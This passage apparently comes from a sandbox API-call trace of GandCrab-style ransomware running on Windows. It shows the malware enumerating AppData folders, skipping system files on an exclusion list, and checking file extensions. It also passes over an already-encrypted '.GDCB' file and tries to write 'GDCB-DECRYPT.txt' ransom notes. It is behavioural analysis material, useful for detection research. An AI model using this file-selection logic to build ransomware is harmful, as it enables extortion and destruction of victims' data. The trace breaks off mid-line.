(lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\GDCB-DECRYPT.txt") returned 99 [0135.591] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\GDCB-DECRYPT.txt") returned 99 [0135.591] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\GDCB-DECRYPT.txt") returned 99 [0135.591] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.591] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.591] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.591] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.591] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.591] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.591] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.591] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.591] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.591] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.591] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0135.591] lstrcmpW (lpString1="rasphone.pbk", lpString2=".") returned 1 [0135.591] lstrcmpW (lpString1="rasphone.pbk", lpString2="..") returned 1 [0135.591] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\", lpString2="rasphone.pbk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk" [0135.591] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.591] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk") returned 95 [0135.591] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk") returned 95 [0135.591] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.591] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0 [0135.591] FindClose (in: hFindFile=0x2c7680 | out: hFindFile=0x2c7680) returned 1 [0135.591] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0 [0135.591] FindClose (in: hFindFile=0x2c7900 | out: hFindFile=0x2c7900) returned 1 [0135.591] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0 [0135.591] FindClose (in: hFindFile=0x2c7640 | out: hFindFile=0x2c7640) returned 1 [0135.592] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.592] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.592] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.592] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\GDCB-DECRYPT.txt" [0135.592] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.592] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\GDCB-DECRYPT.txt") returned 72 [0135.592] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\GDCB-DECRYPT.txt") returned 72 [0135.592] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\GDCB-DECRYPT.txt") returned 72 [0135.592] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\GDCB-DECRYPT.txt") returned 72 [0135.592] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.592] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.592] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.592] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.592] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.592] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.592] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.592] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.592] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.592] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.592] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0 [0135.592] FindClose (in: hFindFile=0x2c7780 | out: hFindFile=0x2c7780) returned 1 [0135.592] FindNextFileW (in: hFindFile=0x2c7a80, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0135.592] lstrcmpW (lpString1="Office", lpString2=".") returned 1 [0135.592] lstrcmpW (lpString1="Office", lpString2="..") returned 1 [0135.592] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Office" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office" [0135.592] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\" [0135.592] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.592] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.593] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.593] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.593] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.593] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.593] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\") returned 55 [0135.593] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\*" [0135.593] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\*", lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0x2c7640 [0135.593] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.593] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.593] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.593] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.593] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.593] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.593] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.593] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\GDCB-DECRYPT.txt" [0135.593] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\GDCB-DECRYPT.txt") returned 71 [0135.593] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.593] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.593] lstrcmpW (lpString1="MSO1033.acl", lpString2=".") returned 1 [0135.593] lstrcmpW (lpString1="MSO1033.acl", lpString2="..") returned 1 [0135.593] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\", lpString2="MSO1033.acl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl" [0135.593] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl") returned 66 [0135.593] lstrcmpW (lpString1=".acl", lpString2=".sql") returned -1 [0135.593] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.593] lstrcmpW (lpString1="Recent", lpString2=".") returned 1 [0135.593] lstrcmpW (lpString1="Recent", lpString2="..") returned 1 [0135.593] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\", lpString2="Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent" [0135.593] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent") returned 61 [0135.593] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0 [0135.593] FindClose (in: hFindFile=0x2c7640 | out: hFindFile=0x2c7640) returned 1 [0135.593] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.594] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\\\GDCB-DECRYPT.txt") returned 72 [0135.594] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\office\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.594] GetLastError () returned 0x50 [0135.594] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.594] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\") returned 55 [0135.594] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\*" [0135.594] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\*", lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0x2c76c0 [0135.594] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.594] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.594] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.594] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.594] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.594] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.594] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.594] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\GDCB-DECRYPT.txt" [0135.594] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.594] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\GDCB-DECRYPT.txt") returned 71 [0135.594] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\GDCB-DECRYPT.txt") returned 71 [0135.594] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\GDCB-DECRYPT.txt") returned 71 [0135.594] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\GDCB-DECRYPT.txt") returned 71 [0135.594] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.594] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.594] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.594] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.594] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.594] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.595] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.595] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.595] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.595] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.595] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.595] lstrcmpW (lpString1="MSO1033.acl", lpString2=".") returned 1 [0135.595] lstrcmpW (lpString1="MSO1033.acl", lpString2="..") returned 1 [0135.595] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\", lpString2="MSO1033.acl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl" [0135.595] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.595] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl") returned 66 [0135.595] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl") returned 66 [0135.595] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.595] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.595] lstrcmpW (lpString1="Recent", lpString2=".") returned 1 [0135.595] lstrcmpW (lpString1="Recent", lpString2="..") returned 1 [0135.595] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\", lpString2="Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent" [0135.595] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\" [0135.595] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.595] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.595] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.595] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.595] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.595] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.596] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\") returned 62 [0135.596] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\*" [0135.596] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\*", lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0x2c7640 [0135.597] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.597] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.597] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.597] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.597] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.597] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.597] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.597] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\GDCB-DECRYPT.txt" [0135.597] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\GDCB-DECRYPT.txt") returned 78 [0135.597] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.597] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.597] lstrcmpW (lpString1="Global.LNK", lpString2=".") returned 1 [0135.597] lstrcmpW (lpString1="Global.LNK", lpString2="..") returned 1 [0135.597] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\", lpString2="Global.LNK" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Global.LNK") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Global.LNK" [0135.597] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Global.LNK") returned 72 [0135.597] lstrcmpW (lpString1=".LNK", lpString2=".sql") returned -1 [0135.597] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.597] lstrcmpW (lpString1="index.dat.GDCB", lpString2=".") returned 1 [0135.597] lstrcmpW (lpString1="index.dat.GDCB", lpString2="..") returned 1 [0135.597] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\", lpString2="index.dat.GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat.GDCB" [0135.597] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat.GDCB") returned 76 [0135.597] lstrcmpW (lpString1=".GDCB", lpString2=".sql") returned -1 [0135.597] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.597] lstrcmpW (lpString1="Templates.LNK", lpString2=".") returned 1 [0135.597] lstrcmpW (lpString1="Templates.LNK", lpString2="..") returned 1 [0135.597] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\", lpString2="Templates.LNK" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK" [0135.597] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK") returned 75 [0135.597] lstrcmpW (lpString1=".LNK", lpString2=".sql") returned -1 [0135.597] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0 [0135.597] FindClose (in: hFindFile=0x2c7640 | out: hFindFile=0x2c7640) returned 1 [0135.598] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.598] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\\\GDCB-DECRYPT.txt") returned 79 [0135.598] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\office\\recent\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.599] GetLastError () returned 0x50 [0135.600] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.600] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\") returned 62 [0135.600] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\*" [0135.600] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\*", lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0x2c77c0 [0135.600] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.600] FindNextFileW (in: hFindFile=0x2c77c0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.600] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.600] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.600] FindNextFileW (in: hFindFile=0x2c77c0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.600] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.600] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.600] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\GDCB-DECRYPT.txt" [0135.600] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.600] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\GDCB-DECRYPT.txt") returned 78 [0135.600] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\GDCB-DECRYPT.txt") returned 78 [0135.600] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\GDCB-DECRYPT.txt") returned 78 [0135.601] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\GDCB-DECRYPT.txt") returned 78 [0135.601] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.601] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.601] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.601] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.601] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.601] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", 